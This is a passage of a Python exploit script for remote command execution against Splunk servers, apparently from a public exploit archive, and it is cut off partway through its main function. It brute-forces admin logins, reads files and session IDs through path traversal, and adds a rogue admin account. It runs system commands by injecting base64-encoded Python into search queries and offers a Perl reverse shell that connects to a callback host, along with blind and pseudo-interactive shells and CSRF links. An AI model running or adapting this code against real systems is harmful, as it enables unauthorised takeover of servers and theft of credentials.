Splunk – Remote Command Execution

from sec1httplib.requestbuilder import Requestobj

from sec1httplib.thread_dispatcher import *

import threading

import re

import urlparse

import sys

import urllib

import base64

from optparse import OptionParser

import sys

"""

Source: http://www.sec-1.com/blog/?p=233

Splunk remote root exploit.

Author: Gary O'leary-Steele @ Sec-1 Ltd

Date: 5th September 2011

Release date: Private

Full Package: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18245.zip

C:\git\splunk>python splunk_exploit.py -h

Usage: Run splunk_exploit.py -h to see usage options

Options:

--version show program's version number and exit

-h, --help show this help message and exit

-t TARGETHOST IP Address or hostname of target splunk server

-c Generate CSRF URL only

-w SPLUNKWEB_PORT The Splunk admin interface port (Default: 8000)

-d SPLUNKD_PORT The Splunkd Web API port (Default: 8089)

-u USERFILE File containing usernames for use in dictionary attack

-p PASSFILE File containing passwords for use in dictionary attack

-U USERNAME Admin username (if known)

-P PASSWORD Admin pasword (if known)

ToDo: Fix bug when attemping to get home dir

"""

#Set this to use a proxy

#Requestobj.set_proxy("127.0.0.1","8080")

Requestobj.verbose = 0

misc_lock = threading.Lock()

# Counter used in bruteforce

class Counter():

def __init__(self):

self.l = threading.Lock()

def set_total(self,total):

self.statictotal = total

self.total = total

def sub(self):

with self.l:

if self.total !=0:

self.total = self.total - 1

def print_remaining(self):

with self.l:

print "[i] %s of %s remaining" % (self.total,self.statictotal)

counter = Counter()

def request_factory_splunkd(targeturl,username,password,splunk_object):

"Factory to generate attempt_login functions"

global counter

def attempt_login():

# Dont continue if we already have admin

if splunk_object.got_admin == 1:

return False

login_url = "{0}/services/auth/login".format(targeturl.rstrip())

r = Requestobj(login_url)

poststr = "username={0}&password={1}".format(username.rstrip(),password.rstrip())

r.rawpostdata("POST", poststr)

result = r.makerequest()

counter.sub()

counter.print_remaining()

if result.find_data("Remote login disabled because you are using a free license"):

print "[i] Free licence in use. No remote login required"

print "[!] run the exploit again with the -f flag"

sys.exit()

if result.find_data("sessionKey"):

print "[***] Cracked: %s:%s\n" % (username.rstrip(),password.rstrip())

try:

if splunk_object.user_is_admin(username.rstrip(),password.rstrip()):

splunk_object.username = username.rstrip()

splunk_object.password = password.rstrip()

splunk_object.got_admin =1

#print "ADMIN",splunk_object.got_admin

splunk_object.session_key = re.findall("<sessionKey>(.+?)</sessionKey>",result.body)[0]

except Exception as err:

print "[i] Error getting auth details",err

return (username,password)

else:

pass

return attempt_login

def request_factory_splunkweb(targeturl,username,password,cval,splunk_object):

"Factory to generate attempt_login functions"

global counter

def attempt_login():

if splunk_object.got_admin == 1:

return False

login_url = "{0}/en-GB/account/login".format(targeturl.rstrip())

r = Requestobj(login_url)

poststr = "cval={0}&return_to=%2Fen-GB%2F&username={1}&password={2}".format(cval,username.rstrip(),password.rstrip())

r.rawpostdata("POST", poststr)

r.set_custom_cookie(copyglobaljar=1)

result = r.makerequest()

counter.sub()

counter.print_remaining()

if result.find_data("This resource can be found at"):

print "[***] Cracked: %s:%s" % (username.rstrip(),password.rstrip())

try:

if splunk_object.user_is_admin(username.rstrip(),password.rstrip()):

splunk_object.username = username.rstrip()

splunk_object.password = password.rstrip()

splunk_object.got_admin =1

except Exception as err:

print "[i] Error getting auth details",err

return (username,password)

else:

pass

return attempt_login

class SplunkTarget(object):

def __init__(self,hostaddr,splunkd_port=8089,splunkweb_port=8000):

self.splunkd_port = splunkd_port

self.splunkweb_port = splunkweb_port

self.max_threads = 20

self.username=""

self.password = ""

self.session_key =""

self.splunk_home = ""

self.got_admin = 0

self.web_authed = 0 # are we authed to the web interface

self.freelic =0

# Check splunkd server

info = Requestobj("https://{0}:{1}/services/server/info/server-info".format(hostaddr,splunkd_port)).makerequest()

if info.body:

self.splunkd_url = "{0}://{1}".format(urlparse.urlparse(info.url).scheme,urlparse.urlparse(info.url).netloc)

else:

info = Requestobj("http://{0}:{1}/services/server/info/server-info".format(hostaddr,splunkd_port)).makerequest()

self.splunkd_url = "{0}://{1}".format(urlparse.urlparse(info.url).scheme,urlparse.urlparse(info.url).netloc)

if "server-info" in info.body:

self.splunkd =1

try:

self.os_build = re.findall("os_build\">(.+?)<",info.body)[0]

self.os_name = re.findall("os_name\">(.+?)<",info.body)[0]

self.os_version = re.findall("os_version\">(.+?)<",info.body)[0]

self.server_name = re.findall("serverName\">(.+?)<",info.body)[0]

self.splunk_version = re.findall("\"version\">(.+?)<",info.body)[0]

self.cpu_arch = re.findall("cpu_arch\">(.+?)<",info.body)[0]

print "[i] Splunkd server found. Version:{0}".format(self.splunk_version)

print "[i] OS:{0} {1} {2}".format(self.os_name,self.os_version,self.os_build)

except Exception as err:

print "Error getting splunk server info",err

else:

self.splunkd =0

# Check splunk web

splunkweb_info = Requestobj("http://{0}:{1}/en-GB/account/login".format(hostaddr,splunkweb_port)).makerequest()

if splunkweb_info.body:

self.splunkweb_url = "{0}://{1}".format(urlparse.urlparse(splunkweb_info.url).scheme,urlparse.urlparse(splunkweb_info.url).netloc)

else:

splunkweb_info = Requestobj("https://{0}:{1}/en-GB/account/login".format(hostaddr,splunkweb_port)).makerequest()

self.splunkweb_url = "{0}://{1}".format(urlparse.urlparse(splunkweb_info.url).scheme,urlparse.urlparse(splunkweb_info.url).netloc)

if "Splunk" in splunkweb_info.body:

print "[i] Splunk web interface discovered"

self.splunkweb =1

self.cval=""

try:

self.cval = splunkweb_info.extract_data_body('name="cval" value="(\d+?)"')[0]

print "[i] CVAL:{0}".format(self.cval)

except:

print "[i] Error getting cval"

self.splunkweb =0

else:

self.splunkweb =0

if self.splunkweb ==1:

try:

url ="{0}/en-GB/manager/system/licensing".format(self.splunkweb_url)

lic = Requestobj(url).makerequest()

if "<h1>Free license group</h1>" in lic.body:

print "[i] Configured with free licence. No auth required"

#if not self.splunkd:

# print "[i] Cannot connect to splunkd using free licence"

# sys.exit()

self.got_admin=1

self.username="admin"

self.password="admin"

self.web_authed=1

self.splunkd=0

self.freelic=1

self.pop_shell()

except Exception as err:

print "error",err

exit()

def account_bruteforce(self,userfile,passfile):

global counter

q = ThreadDispatcher(store_return=1,max_threads=self.max_threads)

for username in set(open(userfile).readlines()):

for password in set(open(passfile).readlines()):

if self.splunkd == 1:

q.add(request_factory_splunkd(self.splunkd_url,username,password,self))

elif self.splunkweb==1:

q.add(request_factory_splunkweb(self.splunkweb_url,username,password,self.cval,self))

else:

print "[Error] Not connected"

sys.exit()

counter.set_total(len(q.call_queue))

q.start()

for x in range(q.return_queue._qsize()):

username, password = q.return_queue.get(x)

username = username.rstrip()

password = password.rstrip()

print "[***] Cracked: %s:%s" % (username,password)

def user_is_admin(self,username,password):

if self.splunkd == 1:

# attempt to auth via splunkd to get a sessionkey

self.username = username

self.password = password

self.splunkd_auth()

url = Requestobj("{0}/services/authentication/httpauth-tokens".format(self.splunkd_url))

url.basic_auth(username,password)

context = url.makerequest()

if '<title>httpauth-tokens' in context.body:

self.got_admin =1

return True

else:

return False

elif self.splunkweb == 1:

with misc_lock:

self.username = username

self.password = password

if self.splunkweb_auth():

admin_only = Requestobj("{0}/en-US/manager/launcher/server/settings/settings?action=edit".format(self.splunkweb_url)).makerequest()

if admin_only.find_data("Port that Splunk Web uses"):

print "[i] User:{0} IS AN ADMIN.".format(username)

return True

else:

print "[i] User:{0} is not an admin".format(username)

else:

pass

else:

print "Not Connected"

return False

def search_payload_cmd(self,payload):

"Generate a command execution payload"

encoded = urllib.quote(base64.b64encode(payload))

encodedpl = """search index=_internal source=*splunkd.log |mappy x=eval("sys.modules['os'].system(base64.b64decode('%s'))")""" % encoded

#print encodedpl

return encodedpl

def get_splunk_home(self):

if not self.username or not self.password:

print "[i] Valid username and password required"

sys.exit()

try:

r = Requestobj("{0}/services/properties/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fopt%2fsplunk%2fetc%2fsplunk-launch/default/SPLUNK_HOME".format(self.splunkd_url))

r.basic_auth(self.username,self.password)

splunkdir = r.makerequest()

if "ERROR" not in splunkdir.body and "Remote login disabled" not in splunkdir.body and self.splunkd:

self.splunk_home = splunkdir.body.strip()

else:

print "[***] Could not get home dir setting default.."

if "windows" in self.os_name.lower():

self.splunk_home = "c:\\program files\\splunk"

else:

self.splunk_home = "/opt/splunk"

print "Setting Splunk home dir to:{0}".format(self.splunk_home)

return self.splunk_home

except Exception as err:

print "[i] Error occured while attempting to read splunk home dir",err

def splunkd_auth(self):

login_url = "{0}/services/auth/login".format(self.splunkd_url)

r = Requestobj(login_url)

poststr = "username={0}&password={1}".format(self.username.rstrip(),self.password.rstrip())

r.rawpostdata("POST", poststr)

result = r.makerequest()

if result.find_data("Remote login disabled because you are using a free license"):

print "[i] Free licence in use. No remote login required"

print "[!] run the exploit again with the -f flag"

sys.exit()

if result.find_data("sessionKey"):

self.session_key = re.findall("<sessionKey>(.+?)</sessionKey>",result.body)[0]

return True

else:

return False

def splunkweb_auth(self):

if self.web_authed == 1:

return True

login_page = Requestobj("{0}/en-GB/account/login".format(self.splunkweb_url)).makerequest() # Get session cookie

cval=""

cval = login_page.extract_data_body('name="cval" value="(\d+?)"')

if cval:

cval = cval[0]

r = Requestobj(login_page.url)

poststr = "cval={0}&return_to=%2Fen-GB%2F&username={1}&password={2}".format(cval,self.username.rstrip(),self.password.rstrip())

r.rawpostdata("POST", poststr)

result = r.makerequest()

if result.find_data("This resource can be found at"):

return True

self.web_authed = 1

else:

print "[i] Login Failed"

exit()

def add_admin(self,username,password,sessionKey):

# look for 201

if self.splunkd == 1 and self.username and self.password:

url = Requestobj("{0}/servicesNS/-/launcher/authentication/users".format(self.splunkd_url))

url.basic_auth(self.username,self.password)

url.rawpostdata("POST","roles=user&roles=admin&name={0}&defaultApp=search&password={1}&email=&createrole=0&realname=".format(username,password))

url.add_header("authorization","Splunk {0}".format(sessionKey))

result = url.makerequest()

if str(result.code) == "201":

return True

else:

return False

else:

print "[!] Not connected to splunkd. Check port and creds"

return False

def dump_session_ids(self):

"Exploits dir traversal issue to dump session ids"

print "[i] Attemping to dump sessions"

if self.splunkd == 1 and self.username and self.password:

#url = Requestobj("{0}/servicesNS/-/system/properties/..%2f..%2f..%2f..%2f..%2fopt%2fsplunk%2fvar%2flog%2fsplunk%2fweb_service.log%00/default".format(self.splunkd_url))

url = Requestobj("{0}/servicesNS/-/system/properties/..%2f..%2f..%2fvar%2flog%2fsplunk%2fweb_service.log%00/default".format(self.splunkd_url))

url.basic_auth(self.username,self.password)

result = url.makerequest()

sessions=[]

if "session=" in result.body:

print "[i] Session ID's extracted from web_service.log"

sessions = re.findall("session=(.+?)[<\s]",result.body)

for session in set(sessions):

print "[SESSION]",session

return set(sessions)

def perl_revshell(self,revhost,port):

cmd="""perl -e 'use Socket;$i="%s";$p=%s;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'""" % (revhost,port)

self.search_exploit_cmd(cmd)

def search_exploit_cmd(self,command):

"Execute commands via search exploit."

if self.splunkweb == 1 and self.got_admin:

if self.web_authed == 0:

self.splunkweb_auth()

print "[i] Executing Command:{0}".format(command)

attack_body = self.search_payload_cmd(command)#

attack_body = urllib.quote(urllib.unquote(attack_body))

shell_req = Requestobj("{0}/en-GB/api/search/jobs".format(self.splunkweb_url))

shell_req.rawpostdata("POST","search={0}&status_buckets=300&namespace=search&ui_dispatch_app=search&ui_dispatch_view=flashtimeline&auto_cancel=100&required_field_list=*&earliest_time=&latest_time=".format(attack_body))

for c in shell_req.get_cookiejar():

if "session" in c.name:

shell_req.add_header("X-Requested-With","XMLHttpRequest")

shell_req.add_header("X-Splunk-Session",c.value)

x = shell_req.makerequest()

elif self.splunkd == 1 and self.got_admin and self.session_key:

print "[i] Executing Command:{0}".format(command)

attack_body = self.search_payload_cmd(command)#

attack_body = urllib.quote(urllib.unquote(attack_body))

shell_req = Requestobj("{0}/servicesNS/admin/search/search/jobs".format(self.splunkd_url))

shell_req.rawpostdata("POST","ui_dispatch_app=search&search={0}&required_field_list=%2A&ui_dispatch_view=flashtimeline&max_count=10000&time_format=%25s.%25Q&latest_time=&status_buckets=300&earliest_time=&auto_cancel=100".format(attack_body))

shell_req.add_header("authorization","Splunk {0}".format(self.session_key))

x = shell_req.makerequest()

else:

print "Session",self.session_key

print "Admin",self.got_admin

print "Splunkd",self.splunkd

print "[i] Exploit failed. Not connected or access denied"

def blind_shell(self):

command=""

while 1:

print command.rstrip()

command=raw_input("blind_shell>")#

if command.rstrip() == "exit": break

self.search_exploit_cmd(command)

def get_csrf_link_cmd(self,command):

return "{0}/en-US/app/search/flashtimeline?q={1}&earliest=0".format(self.splunkweb_url,self.search_payload_cmd(command))

def get_csrf_link_revshell(self,revhost,port):

cmd="""perl -e 'use Socket;$i="%s";$p=%s;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'""" % (revhost,port)

return "{0}/en-US/app/search/flashtimeline?q={1}&earliest=0".format(self.splunkweb_url,self.search_payload_cmd(cmd))

def search_exploit_psudoshell(self):

"Execute commands via search exploit. Payload implements a virtual shell"

if not self.username or not self.password:

print "[i] Valid username and password required"

sys.exit()

if not self.splunkweb == 1:

print "[error] Managment Web Interface required for this payload"

return ""

if self.web_authed == 0:

self.splunkweb_auth()

base_dir = self.get_splunk_home()

#if not base_dir:

# print "Failed to get splunk basedir"

# base_dir = "/opt/splunk"

command=""

while 1:

print command.rstrip()

command=raw_input("shell>")#

if command.rstrip() == "exit": break

if "windows" in self.os_name.lower():

tmp = ">\"{0}\\share\splunk\search_mrsparkle\exposed\js\.tmp\"".format(base_dir)

command = command + tmp #'"'+ tmp +'"'

else:

tmp = ">{0}/share/splunk/search_mrsparkle/exposed/js/.tmp".format(base_dir)

command = command + tmp

attack_body = self.search_payload_cmd(command)#

attack_body = urllib.quote(urllib.unquote(attack_body))

psudoshell_req = Requestobj("{0}/en-GB/api/search/jobs".format(self.splunkweb_url))

psudoshell_req.rawpostdata("POST","search={0}&status_buckets=300&namespace=search&ui_dispatch_app=search&ui_dispatch_view=flashtimeline&auto_cancel=100&required_field_list=*&earliest_time=&latest_time=".format(attack_body))

for c in psudoshell_req.get_cookiejar():

if "session" in c.name:

psudoshell_req.add_header("X-Requested-With","XMLHttpRequest")

psudoshell_req.add_header("X-Splunk-Session",c.value)

x = psudoshell_req.makerequest()

import time

time.sleep(3)

print Requestobj("{0}/en-US/static/@105575/js/.tmp".format(self.splunkweb_url)).makerequest().body

def pop_shell(self):

"Prompt for paylod options"

"[w00p] We appear to have access. Please select a payload"

print "[Payload Options]"

if self.splunkweb == 1:

print "[1]\tPseudo Interactive Shell"

else:

print "[DISABLED]\tPseudo Interactive Shell"

print "[2]\tPerl Reverse Shell"

print "[3]\tCommand Exec (Blind)"

option = input("Please select option 1-3:")

if option == 1:

self.search_exploit_psudoshell()

elif option ==2:

rev_host = raw_input("Enter Callback Host:")

rev_port = raw_input("Enter Callback Port:")

self.perl_revshell(rev_host,rev_port)

elif option ==3:

self.blind_shell()

else:

print "Invalid option"

exit()

def main():

banner = "-----==[Slunk Remote Root Exploit]=-----\n"

parser = OptionParser(usage="Run %prog -h to see usage options",

version="%prog 1.0")

parser.add_option("-t",

action="store",

dest="targethost",

help="IP Address or hostname of target splunk server")

parser.add_option("-c",

action="store_true", # optional because action defaults to "store"

dest="csrf",

help="Generate CSRF URL only")

parser.add_option("-f",

action="store_true", # optional because action defaults to "store"

dest="free_lic_noauth",

help="Target is configured to use a Free licence and does not permit remote auth")

parser.add_option("-w",